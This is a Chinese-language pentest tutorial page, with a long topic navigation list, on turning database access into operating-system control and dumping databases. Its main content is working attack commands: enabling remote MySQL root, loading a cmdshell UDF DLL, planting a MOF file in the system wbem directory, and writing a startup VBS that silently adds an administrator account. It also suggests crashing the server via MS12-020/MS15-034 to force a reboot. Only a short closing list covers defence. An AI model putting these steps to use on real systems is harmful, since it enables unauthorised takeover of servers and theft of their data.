# 數據庫提權到操作系統
攻擊者如果獲取了通過數據庫root權限,是可以通過提權,獲取操作系統最高權限的。
## 1??Mysql數據庫提權
### 一、如何獲取mysql賬號密碼
當通過webshell進入服務器后,怎么得到數據庫的賬號密碼呢
1. 查看網站配置文件。
如:conn、config、data、sql、common 、inc等。
2. 查看數據庫物理路徑下的user表文件
目錄為/data/mysql/user.myd和user.myi
密碼是加密的,需要再次進行破解
3. 通過暴力破解得到(hscan、Bruter、hydra、腳本木馬)
如果對外開放3306,即允許遠程連接,可以遠程爆破
補充:mysql開啟root賬號遠程訪問
```sql
mysql> GRANT ALL PRIVILEGES ON*.*TO root@"%"IDENTIFIED BY"root";
mysql> flush privileges;
```
### 二、利用UDF自身提權
* * *
1. 原理
UDF提權是利用MYSQL的Create Function語句,將MYSQL賬號轉化為系統system權限。
2. 利用條件
* 目標系統是Windows(Win2000,XP,Win2003)
* 已經擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數
* 有root賬號和密碼
**利用方式A**
1. 使用工具“mysql綜合利用工具”連接
填寫地址、root賬號、密碼后進行連接

2. 導入udf.dll文件
連接成功后,導出DLL文件,導入時請勿必注意導出路徑(一般情況下對任何目錄可寫,無需考慮權限問題),否則在下一步操作中你會看到"No paths allowed for shared library"錯誤。
```
#不同版本mysql,udf.dll存放路徑不同
#Mysql版本大于5.1版本。
xx\\mysql\\lib\\plugin\\udf.dll 文件夾下。
#Mysql5.1版本默認路徑。
C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll
#Mysql版本小于5.1版本。
Windows2003下放置于c:\\windows\\system32\\udf.dll
windows2000下放置于c:\\winnt\\system32\\udf.dll
```
**一般Lib、Plugin文件夾需要在webshell先手工建立(也可用NTFS ADS流模式突破進而創建文件夾)**
```sql
#查找到mysql的目錄后
select @@basedir;
#利用NTFS ADS創建lib目錄
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
#利用NTFS ADS創建plugin目錄
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
```
3. UDF提權常用命令:
```sql
#創建cmdshell函數,如果用3389就需要創建open3389函數,具體有哪些函數看幫助
create function cmdshell returns string soname 'udf.dll';
#創建好函數后,用函數執行系統命令
select cmdshell('net user');
select open3389();
drop function cmdshell; 刪除函數
delete from mysql.func where name='cmdshell' 刪除函數
```
使用完成后你可能需要刪除在第二步中導出的DLL,但在刪除DLL前請先刪除你在第三步中創建的函數,否則刪除操作將失敗,刪除第三步中創建的函數的SQL語句為:drop function 創建的函數名;
**利用方式B**
UDF腳本提權,當mysql不能遠程連接時,可以上傳udf腳本至對方主機,然后通過webshell的方式進行連接操作。
### 三、利用mof提權
**MOF漏洞工具與腳本實戰:** http://www.myhack58.com/Article/html/3/8/2013/38264.htm
1. 原理
在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要將要做的事通過代碼存儲到這個mof文件中,就可以實現權限提升。
2. 利用條件
* mysql用戶具有root權限
* 且可以復制文件到c:/windows/system32/wbem/mof/目錄下
* 關閉了secure-file-priv
**利用方式1**
通過工具如“mysql綜合利用工具”直接提取,輸入賬戶密碼連接數據庫后可直接輸入系統命令,創建賬號。
**利用方式2**
通過上傳mof文件,然后在sql中運行的方式
1. 找個可寫目錄,上傳mof文件
假設上傳的目錄為文件夾`C:\\wmpub\\moon.mof`
該mof文件,已經寫死了要創建的賬號密碼等信息
2. 執行sql,轉移文件到系統目錄,等待創建新賬號
```sql
select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
```
3. 執行完后,驗證賬號
在webshell里執行使用net user查看是否多了一個admin用戶,如果有則說明可以利用,否則就不需要繼續了,注意新建的帳號每隔5分鐘就會新建帳號,刪除帳號的辦法參考上文鏈接
### 四、通過Mysql把文件寫入啟動項
1. 通過mysql數據庫命令寫入VBS腳本;
```sql
mysql>drop database test1;
mysql> create database test1;
mysql> use test1;
mysql> create table a (cmd text);
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
#注意雙引號和括號以及后面的“0”一定要輸入!我們將用這三條命令來建立一個VBS的腳本程序
```
```
2. 直接通過Webshell的Mysql寫入啟動項;
```sql
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「開始」菜單//程序//啟動//best.vbs";
```
3. 通過MS12-020、MS15-034重啟服務器。
服務器down機后,管理員會重啟,重啟后我們就能得到新建的管理員賬號了
## 2??微軟Mssql提權
mssql提權主要分為弱口令與溢出兩類提權。目前主要通過弱口令連接直接提權,溢出類Mssql數據庫幾乎很少見(sqlserver2000之后就幾乎沒有了)。
通過漏洞拉到webshell之后,找到網站配置文件,里面有**sa權限**的賬號密碼,配置文件為asp或者aspx網站一般使用微軟自帶數據庫,這個提權沒有sa權限是不能做的,mssql一般是允許遠程連接的,系統庫是master。
有了sa密碼直接利用sqltools工具就可以了
## 3??如何通過Oracle提權
Oracle數據庫一般與jsp、aspx網站搭配,如果是jsp網站,默認是系統權限,aspx網站默認需要提權。
**提權方法參考:**http://blog.csdn.net/sezvboyrul/article/details/2855401,工具為`oracleshell`
## 4??數據庫安全防范
1. 限止數據庫遠程連接,給數據庫帳戶設置密碼必須>8位以上并數字+字母+特殊符號等。
2. 不要給網站配置root或SA權限。必須給每個網站獨立分配數據庫帳戶并限格控制好權限。
3. 及時升級數據庫補丁。
4. 安裝Waf進行防御。
5. 購買數據庫審計設備
# 數據庫脫庫
## 1??工具脫庫
通過百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等類似工具。
**優點:** 支持面廣,功能強大,速度度、穩定
**缺點:** 不能支持外鏈
## 2??腳本脫庫
通過百度查找ASP、PHP、JSP脫庫腳本等類似工具。
**優點:** 解決不外鏈的情況
**缺點:** 速度慢、不夠穩定
## 3??站點打包
通過百度查找ASP、PHP、JSP腳本打包程序等類似工具。
asp+access源碼和數據庫是可以一起打包,其它類型數據庫,庫與源碼是單獨分開的。
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具